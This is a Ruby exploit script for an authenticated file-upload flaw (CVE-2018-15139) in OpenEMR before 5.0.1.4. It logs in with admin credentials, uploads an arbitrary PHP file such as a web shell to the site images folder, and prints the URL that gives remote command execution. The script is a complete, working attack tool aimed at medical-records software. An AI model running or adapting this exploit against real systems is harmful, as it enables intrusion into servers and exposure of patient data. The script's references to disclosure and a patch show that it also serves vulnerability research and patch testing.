#!/usr/bin/env ruby

# Title: OpenEMR < 5.0.1.4 - (Authenticated) File upload - Remote command execution
# Exploit author: noraj (Alexandre ZANNI) for SEC-IT (http://secit.fr)
# Author website: https://pwn.by/noraj/
# Exploit source: https://github.com/sec-it/exploit-CVE-2018-15139
# Date: 2021-07-05
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://github.com/openemr/openemr/archive/v5_0_1_3.tar.gz
# Docker PoC: https://github.com/sec-it/exploit-CVE-2018-15139/blob/master/docker-compose.yml
# Version: < 5.0.1.4 (it means up to 5.0.1.3)
# Tested on: OpenEMR Version 5.0.0.8
# References: https://www.exploit-db.com/exploits/49998
# CVE: CVE-2018-15139
# CWE: CWE-434
# Patch: https://github.com/openemr/openemr/pull/1757/commits/c2808a0493243f618bbbb3459af23c7da3dc5485

require 'pathname'
require 'httpx'
require 'http/form_data'
require 'docopt'

doc = <<~DOCOPT
  OpenEMR < 5.0.1.4 - (Authenticated) File upload - Remote command execution

  Source: https://github.com/sec-it/exploit-CVE-2019-14530

  Usage:
    #{__FILE__} exploit <url> <filename> <username> <password> [--debug]
    #{__FILE__} -h | --help

  Options:
    <url>       Root URL (base path) including HTTP scheme, port and root folder
    <filename>  Filename of the shell to be uploaded
    <username>  Username of the admin
    <password>  Password of the admin
    --debug     Display arguments
    -h, --help  Show this screen

  Examples:
    #{__FILE__} exploit http://example.org/openemr shell.php admin pass
    #{__FILE__} exploit https://example.org:5000/ shell.php admin pass
DOCOPT

def login(root_url, user, pass, http)
  vuln_url = "#{root_url}/interface/main/main_screen.php?auth=login&site=default"
  params = {
    'new_login_session_management' => '1',
    'authProvider' => 'Default',
    'authUser' => user,
    'clearPass' => pass,
    'languageChoice' => '1'
  }

  http.post(vuln_url, form: params).body.to_s
end

def upload(root_url, filepath, http)
  vuln_url = "#{root_url}/interface/super/manage_site_files.php"
  pn = Pathname.new(filepath)

  params = {
    form_image: {
      content_type: 'application/x-php',
      filename: pn.basename.to_s,
      body: pn
    },
    bn_save: 'Save'
  }

  res = http.post(vuln_url, form: params)

  return '[-] File not upload' unless (200..299).include?(res.status)

  "[+] File uploaded:\n#{root_url}/sites/default/images/#{pn.basename}"
end

begin
  args = Docopt.docopt(doc)
  pp args if args['--debug']

  if args['exploit']
    http = HTTPX.plugin(:cookies).plugin(:follow_redirects).plugin(:multipart)
    login(args['<url>'], args['<username>'], args['<password>'], http)
    puts upload(args['<url>'], args['<filename>'], http)
  end
rescue Docopt::Exit => e
  puts e.message
end
